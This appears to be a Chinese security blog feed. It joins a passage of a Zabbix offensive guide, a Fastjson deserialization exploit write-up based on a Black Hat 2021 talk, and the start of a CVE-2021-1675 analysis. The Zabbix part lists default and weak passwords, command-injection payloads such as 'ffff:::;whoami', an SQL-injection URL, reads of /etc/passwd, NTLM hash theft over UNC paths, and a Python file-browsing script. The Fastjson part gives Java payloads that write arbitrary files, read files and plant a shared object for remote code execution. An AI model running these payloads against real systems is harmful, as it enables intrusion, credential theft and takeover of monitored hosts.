当UnsafeUserParameters参数配置不当时,组合UserParameter自定义参数的传参命令拼接,可导致远程命令注入漏洞。

由Server向Agent下发指令执行自定义参数,即可在Agent上执行任意系统命令。
UserParameter=ping[*],echo $1 为例,向Agent执行指令ping[test && whoami],经过命令拼接后最终执行echo test && whoami,成功注入执行shell命令。

  • Include参数

加载配置文件目录单个文件或所有文件,通常包含的conf都是配置UserParameter自定义用户参数。

Include=/etc/zabbix/zabbix_agentd.d/*.conf

五、Zabbix Server攻击手法

除了有利用条件的Zabbix Agent漏洞外,默认情况下Agent受限于IP白名单限制,只处理来自Server的请求,所以攻击Zabbix Agent的首要途径就是先拿下Zabbix Server。

经过对Zabbix Server攻击面进行梳理,总结出部分攻击效果较好的漏洞:

1. Zabbix Web后台弱口令

Zabbix安装后自带Admin管理员用户和Guests访客用户(低版本),可登陆Zabbiax后台。

超级管理员默认账号:Admin,密码:zabbix
Guests用户,账号:guest,密码为空

2. MySQL弱口令

从用户习惯来看,运维在配置Zabbix时喜欢用弱口令作为MySQL密码,且搜索引擎的Zabbix配置教程基本用的都是弱口令,这导致实际环境中Zabbix Server的数据库密码通常为弱口令。

除了默认root用户无法外连之外,运维通常会新建MySQL用户 zabbix,根据用户习惯梳理了zabbix用户的常见密码:

123456
zabbix
zabbix123
zabbix1234
zabbix12345
zabbix123456

拿下MySQL数据库后,可解密users表的密码md5值,或者直接替换密码的md5为已知密码,即可登录Zabbix Web。

3. CVE-2020-11800 命令注入

Zabbix Server的trapper功能中active checks命令存在CVE-2020-11800命令注入漏洞,该漏洞为基于CVE-2017-2824的绕过利用。
未授权攻击者向Zabbix Server的10051端口发送trapper功能相关命令,利用漏洞即可在Zabbix Server上执行系统命令。

active checks是Agent主动检查时用于获取监控项列表的命令,Zabbix Server在开启自动注册的情况下,通过active checks命令请求获取一个不存在的host时,自动注册机制会将json请求中的host、ip添加到interface数据表里,其中CVE-2020-11800漏洞通过ipv6格式绕过ip字段检测注入执行shell命令,受数据表字段限制Payload长度只能为64个字符

{"request":"active checks","host":"vulhub","ip":"ffff:::;whoami"}

自动注册调用链:

active checks -> send_list_of_active_checks_json() -> get_hostid_by_host() -> DBregister_host()

command指令可以在未授权的情况下可指定主机(hostid)执行指定脚本(scriptid),Zabbix存在3个默认脚本,脚本中的{HOST.CONN}在脚本调用的时候会被替换成主机IP。

# scriptid == 1 == /bin/ping -c {HOST.CONN} 2>&1
# scriptid == 2 == /usr/bin/traceroute {HOST.CONN} 2>&1
# scriptid == 3 == sudo /usr/bin/nmap -O {HOST.CONN} 2>&1

scriptid指定其中任意一个,hostid为注入恶意Payload后的主机id,但自动注册后的hostid是未知的,所以通过command指令遍历hostid的方式都执行一遍,最后成功触发命令注入漏洞。

{"request":"command","scriptid":1,"hostid":10001}

由于默认脚本的类型限制,脚本都是在Zabbix Server上运行,Zabbix Proxy是无法使用command指令的。payload长度受限制可拆分多次执行,必须更换host名称以执行新的payload。

漏洞靶场及利用脚本:Zabbix Server trapper命令注入漏洞(CVE-2020-11800)

-w956

4. CVE-2017-2824 命令注入

上面小结已详细讲解,CVE-2017-2824与CVE-2020-11800漏洞点及利用区别不大,不再复述,可参考链接:https://talosintelligence.com/vulnerability_reports/TALOS-2017-0325

漏洞靶场及利用脚本:Zabbix Server trapper命令注入漏洞(CVE-2017-2824)

5. CVE-2016-10134 SQL注入

CVE-2016-10134 SQL注入漏洞已知有两个注入点:

  • latest.php,需登录,可使用未关闭的Guest访客账号。
/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)

-w1192

  • jsrpc.php,无需登录即可利用。

利用脚本:https://github.com/RicterZ/zabbixPwn
-w676

漏洞靶场及利用脚本:zabbix latest.php SQL注入漏洞(CVE-2016-10134)

六、Zabbix Server权限后利用

拿下Zabbix Server权限只是阶段性的成功,接下来的问题是如何控制Zabbix Agent以达到最终攻击目的。

Zabbix Agent的10050端口仅处理来自Zabbix Server或Proxy的请求,所以后续攻击都是依赖于Zabbix Server权限进行扩展,本章节主要讲解基于监控项item功能的后利用。

在zabbix中,我们要监控的某一个指标,被称为“监控项”,就像我们的磁盘使用率,在zabbix中就可以被认为是一个“监控项”(item),如果要获取到“监控项”的相关信息,我们则要执行一个命令,但是我们不能直接调用命令,而是通过一个“别名”去调用命令,这个“命令别名”在zabbix中被称为“键”(key),所以在zabbix中,如果我们想要获取到一个“监控项”的值,则需要有对应的“键”,通过“键”能够调用相应的命令,获取到对应的监控信息。

以Zabbix 4.0版本为例,按照个人理解 item监控项可分为通用监控项、主动检查监控项、Windows监控项、自定义用户参数(UserParameter)监控项,Agent监控项较多不一一例举,可参考以下链接:
1. Zabbix Agent监控项
2. Zabbix Agent Windows监控项

在控制Zabbix Server权限的情况下可通过zabbix_get命令向Agent获取监控项数据,比如说获取Agent的系统内核信息:

zabbix_get -s 172.21.0.4 -p 10050 -k "system.uname"

-w643

结合上述知识点,针对item监控项的攻击面进行挖掘,总结出以下利用场景:

1. EnableRemoteCommands参数远程命令执行

Zabbix最为经典的命令执行利用姿势,许多人以为控制了Zabbix Server就肯定能在Agent上执行命令,其实不然,Agent远程执行系统命令需要在zabbix_agentd.conf配置文件中开启EnableRemoteCommands参数。

在Zabbix Web上添加脚本,“执行在”选项可根据需求选择,“执行在Zabbix服务器” 不需要开启EnableRemoteCommands参数,所以一般控制Zabbix Web后可通过该方式在Zabbix Server上执行命令拿到服务器权限。
-w669

如果要指定某个主机执行该脚本,可从Zabbix Web的“监测中 -> 最新数据”功能中根据过滤条件找到想要执行脚本的主机,单击主机名即可在对应Agent上执行脚本。

这里有个常见误区,如果类型是“执行在Zabbix服务器”,无论选择哪台主机执行脚本,最终都是执行在Zabbix Server上。

如果类型是“执行在Zabbix客户端”,Agent配置文件在未开启EnableRemoteCommands参数的情况下会返回报错。
-w1143

Agent配置文件在开启EnableRemoteCommands参数的情况下可成功下发执行系统命令。
-w873

如果不想在Zabbix Web上留下太多日志痕迹,或者想批量控制Agent,拿下Zabbix Server权限后可以通过zabbix_get命令向Agent执行监控项命令,在Zabbix Web执行脚本实际上等于执行system.run监控项命令

也可以基于Zabbix Server作为隧道跳板,在本地执行zabbix_get命令也能达到同样效果(Zabbix Agent为IP白名单校验)。

-w592

2. UserParameter自定义参数命令注入

之前介绍UserParameter参数的时候提到过,执行监控项时UserParameter参数command命令的$1、$2等会被替换成item传参值,存在命令注入的风险,但默认受UnsafeUserParameters参数限制无法传入特殊字符。

当Zabbiax Agent的zabbix_agentd.conf配置文件开启UnsafeUserParameters参数的情况下,传参值字符不受限制,只需要找到存在传参的自定义参数UserParameter,就能达到命令注入的效果。

举个简单案例,在zabbix_agentd.conf文件中添加自定义参数:

UserParameter=ping[*],echo $1

默认情况下UnsafeUserParameters被禁用,传入特殊字符将无法执行命令。
-w1190

zabbix_agentd.conf 文件中添加 UnsafeUserParameters=1,command经过传参拼接后成功注入系统命令。

zabbix_get -s 172.19.0.5 -p 10050 -k "ping[test && id]"

-w543

UnsafeUserParameters参数配置不当问题在监控规模较大的内网里比较常见,内网渗透时可以多留意Agent配置信息。

3. 任意文件读取

Zabbix Agent如果没有配置不当的问题,是否有其他姿势可以利用呢?答案是肯定的。

Zabbix原生监控项中,vfs.file.contents命令可以读取指定文件,但无法读取超过64KB的文件。

zabbix_get -s 172.19.0.5 -p 10050 -k "vfs.file.contents[/etc/passwd]"

-w644

zabbix_agentd服务默认以低权限用户zabbix运行,读取文件受zabbix用户权限限制。开启AllowRoot参数情况下zabbix_agentd服务会以root权限运行,利用vfs.file.contents命令就能任意文件读取。

如果文件超过64KB无法读取,在了解该文件字段格式的情况下可利用vfs.file.regexp命令正则获取关键内容。

4. Windows目录遍历

Zabbix原生监控项中,wmi.get命令可以执行WMI查询并返回第一个对象,通过WQL语句可以查询许多机器信息,以下例举几种利用场景:

  • 遍历盘符

由于wmi.get命令每次只能返回一行数据,所以需要利用WQL的条件语句排除法逐行获取数据。

比如WQL查询盘符时,只返回了C:

zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM Win32_LogicalDisk\"]"

通过追加条件语句排除已经查询处理的结果,从而获取下一行数据。

zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM Win32_LogicalDisk WHERE Name!='C:'\"]"

可通过脚本一直追加条件语句进行查询,直至出现Cannot obtain WMI information.代表WQL已经无法查询出结果。从图中可以看到通过wmi.get命令查询出了该机器上存在C:、D:盘符。

-w1143

  • 遍历目录

获取C:下的目录,采用条件语句排除法逐行获取。

zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Caption FROM Win32_Directory WHERE Drive='C:' AND Path='\\\\' \"]"

zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Caption FROM Win32_Directory WHERE Drive='C:' AND Path='\\\\' AND Caption != 'C:\\\\\$Recycle.Bin' \"]"

zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Caption FROM Win32_Directory WHERE Drive='C:' AND Path='\\\\' AND Caption != 'C:\\\\\$Recycle.Bin' AND Caption != 'C:\\\\\$WinREAgent' \"]"

...

-w879

获取C:下的文件,采用条件语句排除法逐行获取。

zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM CIM_DataFile WHERE Drive='C:' AND Path='\\\\' \"]"

zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM CIM_DataFile WHERE Drive='C:' AND Path='\\\\' AND Name != 'C:\\\\\$WINRE_BACKUP_PARTITION.MARKER' \"]"

zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM CIM_DataFile WHERE Drive='C:' AND Path='\\\\' AND Name != 'C:\\\\\$WINRE_BACKUP_PARTITION.MARKER' AND Name !='C:\\\\browser.exe' \"]"

...

-w947

利用wmi.get命令进行目录遍历、文件遍历,结合vfs.file.contents命令就能够在Windows下实现任意文件读取。

基于zabbix_get命令写了个python脚本,实现Windows的列目录、读文件功能。

import os
import sys

count = 0

def zabbix_exec(ip, command):
    global count
    count = count + 1
    check = os.popen("./zabbix_get -s " + ip + " -k \"" + command + "\"").read()
    if "Cannot obtain WMI information" not in check:
        return check.strip()
    else:
        return False

def getpath(path):
    return path.replace("\\","\\\\\\\\").replace("$","\\$")

def GetDisk(ip):
    where = ""
    while(True):
        check_disk = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Name FROM Win32_LogicalDisk WHERE Name != '' " + where + "\\\"]")
        if check_disk:
            print(check_disk)
            where = where + "AND Name != '" + check_disk+ "'"
        else:
            break

def GetDirs(ip, dir):
    drive = dir[0:2]
    path = dir[2:]

    where = ""
    while(True):
        check_dir = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Caption FROM Win32_Directory WHERE Drive='" + drive + "' AND Path='" + getpath(path) + "' " + where + "\\\"]")
        if check_dir:
            print(check_dir)
            where = where + "AND Caption != '" + getpath(check_dir) + "'"
        else:
            break

def GetFiles(ip, dir):
    drive = dir[0:2]
    path = dir[2:]

    where = ""
    while(True):
        check_file = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Name FROM CIM_DataFile WHERE Drive='" + drive + "' AND Path='" + getpath(path) + "' " + where + "\\\"]")
        if check_file:
            if "Invalid item key format" in check_file:
                continue
            print(check_file)
            where = where + "AND Name != '" + getpath(check_file) + "'"
        else:
            break

def Readfile(ip, file):
    read = zabbix_exec(ip, "vfs.file.contents[" + file + "]")
    print(read)

if __name__ == "__main__":
    if len(sys.argv) == 2:
        GetDisk(sys.argv[1])
    elif sys.argv[2][-1] != "\\":
        Readfile(sys.argv[1], sys.argv[2])
    else:
        GetDirs(sys.argv[1],sys.argv[2])
        GetFiles(sys.argv[1],sys.argv[2])
    
    print("Request count: " + str(count))

5. Windows UNC路径利用

在Windows Zabbix Agent环境中,可以利用vfs.file.contents命令读取UNC路径,窃取Zabbix Agent机器的Net-NTLM hash,从而进一步Net-NTLM relay攻击。

Window Zabbix Agent默认安装成Windows服务,运行在SYSTEM权限下。在工作组环境中,system用户的Net-NTLM hash为空,所以工作组环境无法利用。

在域内环境中,SYSTEM用户即机器用户,如果是Net-NTLM v1的情况下,可以利用Responder工具获取Net-NTLM v1 hash并通过算法缺陷解密拿到NTLM hash,配合资源约束委派获取域内机器用户权限,从而拿下Agent机器权限。

也可以配合CVE-2019-1040漏洞,relay到ldap上配置基于资源的约束委派进而拿下Agent机器权限。

zabbix_get -s 192.168.30.200 -p 10050 -k "vfs.file.contents[\\\\192.168.30.243\\cc]"

-w746

-w1917

6. Zabbix Proxy和主动检查模式利用场景

通过zabbix_get工具执行监控项命令只适合Agent被动模式且10050端口可以通讯的场景(同时zabbix_get命令也是为了演示漏洞方便)。

如果在Zabbix Proxy场景或Agent主动检查模式的情况下,Zabbix Server无法直接与Agent 10050端口通讯,可以使用比较通用的办法,就是通过Zabbix Web添加监控项。

以UserParameter命令注入漏洞举例,给指定主机添加监控项,键值中填入监控项命令,信息类型选择文本:
-w795

在最新数据中按照筛选条件找到指定主机,等待片刻就能看到执行结果。
-w1072

任意文件读取漏洞也同理:
-w783

-w701

通过zabbix_get工具执行结果最大可返回512KB的数据,执行结果存储在MySQL上的限制最大为64KB。

ps: 添加的监控项会一直定时执行,所以执行完后记得删除监控项。

七、参考链接

https://www.zabbix.com/documentation/4.0/zh/manual/config/items/userparameters
https://github.com/vulhub/vulhub
https://talosintelligence.com/vulnerability_reports/TALOS-2017-0325
https://www.zsythink.net/archives/551/

Blackhat 2021 议题详细分析—— FastJson 反序列化漏洞及在区块链应用中的渗透利用

17 August 2021 at 05:11
By: Skay

FastJson反序列化0day及在区块链应用中的后渗透利用

链接:https://www.blackhat.com/us-21/briefings/schedule/#how-i-used-a-json-deserialization-day-to-steal-your-money-on-the-blockchain-22815

PPT链接:http://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Xing-How-I-Use-A-JSON-Deserialization.pdf

一、Fastjson反序列化原理

这个图其实已经能让人大致理解了,更详细的分析移步
Fastjson反序列化原理

image

二、byPass checkAutotype

关于CheckAutoType相关安全机制简单理解移步

https://kumamon.fun/FastJson-checkAutoType/

以及 https://mp.weixin.qq.com/s/OvRyrWFZLGu3bAYhOPR4KA

https://www.anquanke.com/post/id/225439

https://mp.weixin.qq.com/s/OvRyrWFZLGu3bAYhOPR4KA

一句话总结checkAutoType(String typeName, Class<?> expectClass, int features) 方法的 typeName 实现或继承自 expectClass,就会通过检验

2

三、议题中使用的Fastjson 的一些已公开Gadgets

  • 必须继承 auto closeable。
  • 必须具有默认构造函数或带符号的构造函数,否则无法正确实例化。
  • 不在黑名单中
  • 可以引起 rce 、任意文件读写或其他高风险影响
  • gadget的依赖应该在原生jdk或者广泛使用的第三方库中

Gadget自动化寻找

ggg

https://gist.github.com/5z1punch/6bb00644ce6bea327f42cf72bc620b80

3

关于这几条链我们简单复现下

1.Mysql JDBC

搭配使用 https://github.com/fnmsd/MySQL_Fake_Server

import com.alibaba.fastjson.JSON;

public class Payload_test {
    public static void main(String[] args){

        //搭配使用 https://github.com/fnmsd/MySQL_Fake_Server
        String payload_mysqljdbc = "{\"aaa\":{\"@type\":\"\\u006a\\u0061\\u0076\\u0061.lang.AutoCloseable\", \"@type\":\"\\u0063\\u006f\\u006d.mysql.jdbc.JDBC4Connection\",\"hostToConnectTo\":\"192.168.33.128\",\"portToConnectTo\":3306,\"url\":\"jdbc:mysql://192.168.33.128:3306/test?detectCustomCollations=true&autoDeserialize=true&user=\",\"databaseToConnectTo\":\"test\",\"info\":{\"@type\":\"\\u006a\\u0061\\u0076\\u0061.util.Properties\",\"PORT\":\"3306\",\"statementInterceptors\":\"\\u0063\\u006f\\u006d.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\",\"autoDeserialize\":\"true\",\"user\":\"cb\",\"PORT.1\":\"3306\",\"HOST.1\":\"172.20.64.40\",\"NUM_HOSTS\":\"1\",\"HOST\":\"172.20.64.40\",\"DBNAME\":\"test\"}}\n" + "}";

        JSON.parse(payload_mysqljdbc);

        JSON.parseObject(payload_mysqljdbc);
    }
}
3

更多版本详情参考 https://mp.weixin.qq.com/s/BRBcRtsg2PDGeSCbHKc0fg

2.commons-io写文件

https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg

2.1 commons-io 2.0 - 2.6

 String aaa_8192 = "ssssssssssssss"+Some_Functions.getRandomString(8192);
//        String write_name = "C://Windows//Temp//sss.txt";
String write_name = "D://tmp//sss.txt";
String payload_commons_io_filewrite_0_6 = "{\"x\":{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"input\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\"reader\":{\"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\"charSequence\":{\"@type\":\"java.lang.String\"\""+aaa_8192+"\"},\"charsetName\":\"UTF-8\",\"bufferSize\":1024},\"branch\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\"writer\":{\"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\"file\":\""+write_name+"\",\"encoding\":\"UTF-8\",\"append\": false},\"charsetName\":\"UTF-8\",\"bufferSize\": 1024,\"writeImmediately\": true},\"trigger\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger2\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger3\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"}}}";
4

此处在Linux复现时,或者其它环境根据操作系统及进程环境不同fastjson构造函数的调用会出现随机化,在原Poc基础上修改如下即可

5

2.1 commons-io 2.7.0 - 2.8.0

String payload_commons_io_filewrite_7_8 = "{\"x\":{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"input\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\"reader\":{\"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\"charSequence\":{\"@type\":\"java.lang.String\"\""+aaa_8192+"\",\"start\":0,\"end\":2147483647},\"charsetName\":\"UTF-8\",\"bufferSize\":1024},\"branch\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\"writer\":{\"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\"file\":\""+write_name+"\",\"charsetName\":\"UTF-8\",\"append\": false},\"charsetName\":\"UTF-8\",\"bufferSize\": 1024,\"writeImmediately\": true},\"trigger\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"inputStream\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger2\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"inputStream\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger3\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"inputStream\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"}}";

3.commons-io 逐字节读文件内容

String payload_read_file = "{\"abc\": {\"@type\": \"java.lang.AutoCloseable\",\"@type\": \"org.apache.commons.io.input.BOMInputStream\",\"delegate\": {\"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\"reader\": {\"@type\": \"jdk.nashorn.api.scripting.URLReader\",\"url\": \"file:///D:/tmp/sss.txt\"},\"charsetName\": \"UTF-8\",\"bufferSize\": 1024},\"boms\": [{\"charsetName\": \"UTF-8\",\"bytes\": [11]}]},\"address\": {\"$ref\": \"$.abc.BOM\"}}";
6
7
8

四、New Gadgets 及实现区块链RCE

PPT中提到了,它没有mysql-jdbc链,且为Spring-boot,无法直接写webshell。虽然我们可以覆盖class文件,但是需要root权限,且并不确定charse.jar path。

然后回到目标本身,java tron是tron推出的公链协议的java实现,是一个开源 Java 应用程序,Java-tron 可以在 tron 节点上启用 HTTP 服务内部使用Fastjson解析Json数据。且:

• Leveldb 和 leveldbjni:

• 快速键值存储库

• 被比特币使用,因此被很多公链继承

• 存储区块链元数据,频繁轮询读写

• 需要效率,所以 JNI https://github.com/fusesource/leveldbjn

综上所述,洞主最终利用Fastjson的几个漏洞,结合Levaldbjni的JNI特性,替换/tmp/目录下的so文件最终执行了恶意命令

1.模拟环境 Levaldbjni_Sample

这里我们简单写了一个Levaldbjni的Demo来模拟漏洞环境,

两次执行factory.open(new File("/tmp/lvltest1"), options);都将会加载

/**
 * @auther Skay
 * @date 2021/8/10 19:35
 * @description
 */

import static org.fusesource.leveldbjni.JniDBFactory.factory;

import java.io.File;
import java.io.IOException;

import org.iq80.leveldb.DB;
import org.iq80.leveldb.Options;

public class Levaldbjni_Sample {
    public static void main(String[] args) throws IOException, InterruptedException {
        Options options = new Options();
        Thread.sleep(2000);
        options.createIfMissing(true);
        Thread.sleep(2000);
        DB db = factory.open(new File("/tmp/lvltest"), options);
        System.out.println("so file created");
        System.out.println("watting attack.......");
        Thread.sleep(30000);
        System.out.println("Exploit.......");
        DB db1 = factory.open(new File("/tmp/lvltest1"), options);

        try {
            for (int i = 0; i < 1000000; i++) {
                byte[] key = new String("key" + i).getBytes();
                byte[] value = new String("value" + i).getBytes();
                db.put(key, value);
            }
            for (int i = 0; i < 1000000; i++) {
                byte[] key = new String("key" + i).getBytes();
                byte[] value = db.get(key);
                String targetValue = "value" + i;
                if (!new String(value).equals(targetValue)) {
                    System.out.println("something wrong!");
                }
            }
            for (int i = 0; i < 1000000; i++) {
                byte[] key = new String("key" + i).getBytes();
                db.delete(key);
            }

            Thread.sleep(20000);
//            Thread.sleep(500000);
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            db.close();
        }
    }
}

运行时会在tmp目录下生成如下文件

9

可以看到我们的目标就是替换libleveldbjni-64-5950274583505954902.so

2.commons-io 逐字节读文件名

在议题中中对于commons-io的使用是读取/tmp/目录下的随机生成的so文件名,我们现在可以使用file协议读取文件内容了,这里我们使用netdoc协议读取文件名即可,因为是逐字节读取,我们写一个简单的循环判断即可

public static char fakeChar(char[] fileName){
    char[] fs=new char[fileName.length+1];
    System.arraycopy(fileName,0,fs,0,fileName.length);
    for (char i = 1; i <= 127; i++) {
        fs[fs.length-1]=i;
        String payload_read_file = "{\"abc\": {\"@type\": \"java.lang.AutoCloseable\",\"@type\": \"org.apache.commons.io.input.BOMInputStream\",\"delegate\": {\"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\"reader\": {\"@type\": \"jdk.nashorn.api.scripting.URLReader\",\"url\": \"netdoc:///tmp/\"},\"charsetName\": \"utf-8\",\"bufferSize\": 1024},\"boms\": [{\"charsetName\": \"utf-8\",\"bytes\": ["+formatChars(fs)+"]}]},\"address\": {\"$ref\": \"$.abc.BOM\"}}";
        if (JSON.parse(payload_read_file).toString().indexOf("bOMCharsetName")>0){
            return i;
        }
    }
    return 0;
}

执行效果如下

10

3.so文件的修改

这里需要一点二进制的知识,首先确定下我们要修改哪个函数

11

修改如下即可

12
13

4.写二进制文件

commons-io的链只支持写文本文件,这里测试了一下,不进行base64编码进行单纯文本方式操作二进制文件写入文件前后会产生一些奇妙的变化

14

议题作者给出了写二进制文件的一条新链

233

在进行了base64编码后就不存在上述问题,这里感谢浅蓝师傅提供了一些构造帮助,最后此链构造如下:

/**
 * @auther Skay
 * @date 2021/8/13 14:25
 * @description
 */
public class payload_AspectJ_writefile {
    public static void write_so(String target_path){
        byte[] bom_buffer_bytes = readFileInBytesToString("./beichen.so");
        //写文本时要填充数据
//        String so_content = new String(bom_buffer_bytes);
//        for (int i=0;i<8192;i++){
//            so_content = so_content+"a";
//        }
//        String base64_so_content = Base64.getEncoder().encodeToString(so_content.getBytes());
        String base64_so_content = Base64.getEncoder().encodeToString(bom_buffer_bytes);
        byte[] big_bom_buffer_bytes = Base64.getDecoder().decode(base64_so_content);
//        byte[] big_bom_buffer_bytes = base64_so_content.getBytes();
        String payload = String.format("{\n" +
                "  \"@type\":\"java.lang.AutoCloseable\",\n" +
                "  \"@type\":\"org.apache.commons.io.input.BOMInputStream\",\n" +
                "  \"delegate\":{\n" +
                "    \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
                "    \"input\":{\n" +
                "      \"@type\": \"org.apache.commons.codec.binary.Base64InputStream\",\n" +
                "      \"in\":{\n" +
                "        \"@type\":\"org.apache.commons.io.input.CharSequenceInputStream\",\n" +
                "        \"charset\":\"utf-8\",\n" +
                "        \"bufferSize\": 1024,\n" +
                "        \"s\":{\"@type\":\"java.lang.String\"\"%1$s\"\n" +
                "      },\n" +
                "      \"doEncode\":false,\n" +
                "      \"lineLength\":1024,\n" +
                "      \"lineSeparator\":\"5ZWKCg==\",\n" +
                "      \"decodingPolicy\":0\n" +
                "    },\n" +
                "    \"branch\":{\n" +
                "      \"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" +
                "      \"targetPath\":\"%2$s\"\n" +
                "    },\n" +
                "    \"closeBranch\":true\n" +
                "  },\n" +
                "  \"include\":true,\n" +
                "  \"boms\":[{\n" +
                "                  \"@type\": \"org.apache.commons.io.ByteOrderMark\",\n" +
                "                  \"charsetName\": \"UTF-8\",\n" +
                "                  \"bytes\":" +"%3$s\n" +
                "                }],\n" +
                "  \"x\":{\"$ref\":\"$.bOM\"}\n" +
                "}",base64_so_content, "D://java//Fastjson_All//fastjson_debug//fastjson_68_payload_test_attck//aaa.so",Arrays.toString(big_bom_buffer_bytes));
//        System.out.println(payload);
        JSON.parse(payload);

    }

    public static byte[] readFileInBytesToString(String filePath) {
        final int readArraySizePerRead = 4096;
        File file = new File(filePath);
        ArrayList<Byte> bytes = new ArrayList<>();
        try {
            if (file.exists()) {
                DataInputStream isr = new DataInputStream(new FileInputStream(
                        file));
                byte[] tempchars = new byte[readArraySizePerRead];
                int charsReadCount = 0;

                while ((charsReadCount = isr.read(tempchars)) != -1) {
                    for(int i = 0 ; i < charsReadCount ; i++){
                        bytes.add (tempchars[i]);
                    }
                }
                isr.close();
            }
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }

        return toPrimitives(bytes.toArray(new Byte[0]));
    }

    static byte[] toPrimitives(Byte[] oBytes) {
        byte[] bytes = new byte[oBytes.length];

        for (int i = 0; i < oBytes.length; i++) {
            bytes[i] = oBytes[i];
        }

        return bytes;
    }
}

5.成功RCE

15

五、参考链接 & 致谢

*感谢voidfyoo、浅蓝、*RicterZ 在Fastjson Poc方面帮助

感谢Swing、Beichen 在二进制方面帮助

最后感谢郑成功不断督促和鼓励才使得这篇文章得以顺利展示到大家面前

https://www.mi1k7ea.com/2019/11/03/Fastjson%E7%B3%BB%E5%88%97%E4%B8%80%E2%80%94%E2%80%94%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86/

https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg

http://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Xing-How-I-Use-A-JSON-Deserialization.pdf

对打印机服务漏洞 CVE-2021-1675 代码执行的验证过程

30 June 2021 at 10:09
By: yyjb

背景

本月的微软更新包含一个spool的打印机服务本地提权漏洞,自从去年cve-2020-1048被公开以来,似乎许多人开始关注到这一模块的漏洞。鉴于此这个漏洞刚公布出来时,并没有太仔细关注。直到后面关注到绿盟的微信公众号的演示视频,显示这个漏洞可能在域环境特定情况下执行任意代码。所以认为有必要对其原理以及适用范围情况进行分析。

补丁分析

通过补丁对比,可以确定该漏洞触发原理应该是一个在添加打印机驱动的过程中RpcAddPrinterDriverEx()绕过某些检查的漏洞。

